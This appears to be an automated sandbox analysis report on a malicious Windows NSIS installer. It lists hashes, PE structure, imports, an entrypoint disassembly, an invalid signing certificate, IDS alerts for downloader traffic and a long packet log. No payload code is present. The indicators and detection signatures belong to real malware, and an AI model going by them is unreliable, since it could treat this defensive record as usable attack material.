Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: Plus.exe, Detection: malicious, Browse Filename: Finerede.exe, Detection: malicious, Browse Filename: Finerede.exe, Detection: malicious, Browse Filename: Bibliofils.exe, Detection: malicious, Browse Filename: Researches.exe, Detection: malicious, Browse Filename: Swift Copy_18.02.2025.exe, Detection: malicious, Browse Filename: Polylogy.exe, Detection: malicious, Browse Filename: Vejning.exe, Detection: malicious, Browse Filename: rJustificante67.exe, Detection: malicious, Browse Filename: rJustificante67.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L...q..Q...........!................9'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............................... ..`.rdata..C....0......."..............@..@.data...x....@.......&..............@....reloc..@....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.907164294550819
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	NDCNDvC27F.exe
File size:	1'016'632 bytes
MD5:	429e48d78bf4bf8403c99c46e6514840
SHA1:	378bad9d0c769087eee0159da95bf216b1ed7f56
SHA256:	f244e767138599c4a0c605431d2be543d45da2adfb9ce4a2dcb499704febf381
SHA512:	972bcb45aca7744f98f2e176c23cf700e04c0632c0ec533080eacd68cdeeaea347ffd6d1dbc78f29300f8af4e2662569cafbd4cae8941876ae85f2b6015dce27
SSDEEP:	24576:WGLX2vjhI4UFdPV2BMZfGdpfl/gmZgxVDOeBaNjAx:r2WAeOpfBcSFhAx
TLSH:	3D252392F784C89BD3838BB64676D2769ED6ED110520020A37DCFEB77976682D422F07
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.D9u.ju.ju.j..ujw.ju.+j..j..wjd.j!..j..j..,jt.jRichu.j........PE..L......Q.................`..........3.......p....@

File Icon


Icon Hash:	bac6b2aeaaaeb6b2

Static PE Info

General

Entrypoint:	0x40331c
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x51E3058B [Sun Jul 14 20:09:47 2013 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	17b7d61bda0f7478e36d9ce3d4170680

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Gungrede, E=Taleinput@Talrigeste.tj, O=Gungrede, L=Vauxc\xe9r\xe9, OU="Mediateker Ideliste Nonlevel ", S=Hauts-de-France, C=FR
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	28/11/2024 03:07:32 28/11/2025 03:07:32
Subject Chain	CN=Gungrede, E=Taleinput@Talrigeste.tj, O=Gungrede, L=Vauxc\xe9r\xe9, OU="Mediateker Ideliste Nonlevel ", S=Hauts-de-France, C=FR
Version:	3
Thumbprint MD5:	CFBAA03A88055D4F165500AA4CC8A174
Thumbprint SHA-1:	4752CD0984CDADFDB8585E6563559F0910FFD0DA
Thumbprint SHA-256:	B1F1E6E1E3E1F3003FCE84CF18CC30D16D8E040D7B7F614A69D543DAE7847842
Serial:	1EAB7A444947AF9F8035A80661EF7DD3F92C8C8A

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+14h], ebp
mov dword ptr [esp+10h], 00409230h
mov dword ptr [esp+1Ch], ebp
call dword ptr [00407034h]
push 00008001h
call dword ptr [004070BCh]
push ebp
call dword ptr [004072ACh]
push 00000008h
mov dword ptr [00429298h], eax
call 00007F30648E0C22h
mov dword ptr [004291E4h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 00420690h
call dword ptr [0040717Ch]
push 0040937Ch
push 004281E0h
call 00007F30648E088Dh
call dword ptr [00407134h]
mov ebx, 00434000h
push eax
push ebx
call 00007F30648E087Bh
push ebp
call dword ptr [0040710Ch]
cmp word ptr [00434000h], 0022h
mov dword ptr [004291E0h], eax
mov eax, ebx
jne 00007F30648DDD7Ah
push 00000022h
mov eax, 00434002h
pop esi
push esi
push eax
call 00007F30648E02E9h
push eax
call dword ptr [00407240h]
mov dword ptr [esp+18h], eax
jmp 00007F30648DDE3Eh
push 00000020h
pop edx
cmp cx, dx
jne 00007F30648DDD79h
inc eax
inc eax
cmp word ptr [eax], dx
je 00007F30648DDD6Bh
add word ptr [eax], 0000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7494	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x72000	0xd698	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xf74c0	0xe78
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5e20	0x6000	dd493ae9ebfb948f2a612edd72200a78	False	0.6545003255208334	data	6.407301589030798	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1354	0x1400	8a134e15423272c853e24b49bfc8707f	False	0.43046875	data	5.037834422880877	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x202d8	0x600	baf389fb3ef48369d3c1f90021fcff8b	False	0.4733072916666667	data	3.7606720362000137	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2a000	0x48000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x72000	0xd698	0xd800	9bac6fbf076b462d9856d662ef171efb	False	0.19165943287037038	data	3.6185917239970986	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x72268	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.1762402774858104
RT_ICON	0x7b710	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.17064315352697096
RT_ICON	0x7dcb8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.20684803001876173
RT_DIALOG	0x7ed60	0x100	data	English	United States	0.5234375
RT_DIALOG	0x7ee60	0xf8	data	English	United States	0.6330645161290323
RT_DIALOG	0x7ef58	0xa0	data	English	United States	0.6125
RT_DIALOG	0x7eff8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x7f058	0x30	data	English	United States	0.8333333333333334
RT_VERSION	0x7f088	0x220	data	English	United States	0.5459558823529411
RT_MANIFEST	0x7f2a8	0x3ea	XML 1.0 document, ASCII text, with very long lines (1002), with no line terminators	English	United States	0.5179640718562875

Imports

DLL	Import
KERNEL32.dll	CompareFileTime, SearchPathW, SetFileTime, CloseHandle, GetShortPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, GetFullPathNameW, CreateDirectoryW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, SetFileAttributesW, ExpandEnvironmentStringsW, SetErrorMode, LoadLibraryW, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, lstrcpyA, lstrcpyW, lstrcatW, GetSystemDirectoryW, GetVersion, GetProcAddress, LoadLibraryA, GetModuleHandleA, GetModuleHandleW, lstrcmpiW, lstrcmpW, WaitForSingleObject, GlobalFree, GlobalAlloc, LoadLibraryExW, GetExitCodeProcess, FreeLibrary, WritePrivateProfileStringW, GetCommandLineW, GetTempPathW, GetPrivateProfileStringW, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, MultiByteToWideChar, FindClose, MulDiv, ReadFile, WriteFile, lstrlenA, WideCharToMultiByte
USER32.dll	EndDialog, ScreenToClient, GetWindowRect, RegisterClassW, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, wsprintfW, CreateWindowExW, SystemParametersInfoW, AppendMenuW, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, GetDC, SetWindowLongW, LoadImageW, SendMessageTimeoutW, FindWindowExW, EmptyClipboard, OpenClipboard, TrackPopupMenu, EndPaint, ShowWindow, GetDlgItem, IsWindow, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegCloseKey, RegOpenKeyExW, RegDeleteKeyW, RegDeleteValueW, RegEnumValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Version Infos

Description	Data
Comments	esdragol
CompanyName	heliographer tomotorersflys
FileDescription	drfyldings
LegalCopyright	forraa dalsnknings
ProductVersion	2.5.0.0
Translation	0x0409 0x04e4

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-07T21:24:48.792130+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	49692	142.250.185.142	443	TCP
2025-03-07T21:24:56.138287+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49694	193.122.6.168	80	TCP
2025-03-07T21:24:59.528970+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49694	193.122.6.168	80	TCP
2025-03-07T21:25:01.952682+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49696	104.21.48.1	443	TCP
2025-03-07T21:25:05.833937+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49697	193.122.6.168	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 7, 2025 21:24:45.396311998 CET	49692	443	192.168.2.6	142.250.185.142
Mar 7, 2025 21:24:45.396356106 CET	443	49692	142.250.185.142	192.168.2.6
Mar 7, 2025 21:24:45.396414995 CET	49692	443	192.168.2.6	142.250.185.142
Mar 7, 2025 21:24:45.491396904 CET	49692	443	192.168.2.6	142.250.185.142
Mar 7, 2025 21:24:45.491449118 CET	443	49692	142.250.185.142	192.168.2.6
Mar 7, 2025 21:24:47.443016052 CET	443	49692	142.250.185.142	192.168.2.6
Mar 7, 2025 21:24:47.443150997 CET	49692	443	192.168.2.6	142.250.185.142
Mar 7, 2025 21:24:47.443783998 CET	443	49692	142.250.185.142	192.168.2.6
Mar 7, 2025 21:24:47.443840027 CET	49692	443	192.168.2.6	142.250.185.142
Mar 7, 2025 21:24:48.123763084 CET	49692	443	192.168.2.6	142.250.185.142
Mar 7, 2025 21:24:48.123797894 CET	443	49692	142.250.185.142	192.168.2.6
Mar 7, 2025 21:24:48.124171019 CET	443	49692	142.250.185.142	192.168.2.6
Mar 7, 2025 21:24:48.124228001 CET	49692	443	192.168.2.6	142.250.185.142
Mar 7, 2025 21:24:48.129949093 CET	49692	443	192.168.2.6	142.250.185.142
Mar 7, 2025 21:24:48.172327995 CET	443	49692	142.250.185.142	192.168.2.6
Mar 7, 2025 21:24:48.792165995 CET	443	49692	142.250.185.142	192.168.2.6
Mar 7, 2025 21:24:48.792237997 CET	49692	443	192.168.2.6	142.250.185.142
Mar 7, 2025 21:24:48.792252064 CET	443	49692	142.250.185.142	192.168.2.6
Mar 7, 2025 21:24:48.792295933 CET	49692	443	192.168.2.6	142.250.185.142
Mar 7, 2025 21:24:48.794958115 CET	49692	443	192.168.2.6	142.250.185.142
Mar 7, 2025 21:24:48.794974089 CET	443	49692	142.250.185.142	192.168.2.6
Mar 7, 2025 21:24:48.837562084 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:48.837605953 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:48.837680101 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:48.838093996 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:48.838103056 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:50.690361023 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:50.690429926 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:50.694344997 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:50.694359064 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:50.694608927 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:50.694658995 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:50.699974060 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:50.740334034 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.697037935 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.697460890 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.703320980 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.703418970 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.716892004 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.716989040 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.716996908 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.717072964 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.781780005 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.781898022 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.814423084 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.814543962 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.814568043 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.814613104 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.821190119 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.821281910 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.821293116 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.821368933 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.825921059 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.826033115 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.826040030 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.826088905 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.834418058 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.834573030 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.834580898 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.834625959 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.847769976 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.847846985 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.847860098 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.849172115 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.855309010 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.855367899 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.855377913 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.857621908 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.863202095 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.863276005 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.863359928 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.863396883 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.874434948 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.874504089 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.874512911 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.874550104 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.881831884 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.881916046 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.881926060 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.882035971 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.889650106 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.889746904 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.889753103 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.889885902 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.896080971 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.896142960 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.896152020 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.896238089 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.909389973 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.909514904 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.909523964 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.909636021 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.924489975 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.924673080 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.936955929 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.937011957 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.937021017 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.937160015 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.940129042 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.940181971 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.940198898 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.940262079 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.946644068 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.946727037 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.946733952 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.946794987 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.953064919 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.953124046 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.953183889 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.953233957 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.959677935 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.959727049 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.959745884 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.959760904 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.959772110 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.959847927 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.966187000 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.966231108 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.966250896 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.966423988 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.972668886 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.972750902 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.972760916 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.972867012 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.979094028 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.979161024 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.979172945 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.979238987 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.984875917 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.984960079 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.984973907 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.985069990 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.991437912 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.991501093 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.991512060 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.991565943 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.997771025 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.997828007 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:53.997837067 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:53.997914076 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.005444050 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.005501032 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.005511999 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.005609989 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.012928009 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.013003111 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.013010979 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.013066053 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.023847103 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.024050951 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.024059057 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.024316072 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.026431084 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.026473045 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.026489019 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.026587009 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.035005093 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.035084963 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.035093069 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.035147905 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.045981884 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.046036959 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.046047926 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.046133041 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.050096035 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.050178051 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.050184965 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.050225019 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.051580906 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.051647902 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.051702976 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.051901102 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.058466911 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.058511019 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.058520079 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.058564901 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.062587976 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.062958956 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.083240032 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.083302975 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.083308935 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.083589077 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.084991932 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.085068941 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.085074902 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.085565090 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.087610960 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.087680101 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.090195894 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.090248108 CET	49693	443	192.168.2.6	216.58.206.33
Mar 7, 2025 21:24:54.090261936 CET	443	49693	216.58.206.33	192.168.2.6
Mar 7, 2025 21:24:54.090353966 CET	49693	443	192.168.2.6	216.58.206.33
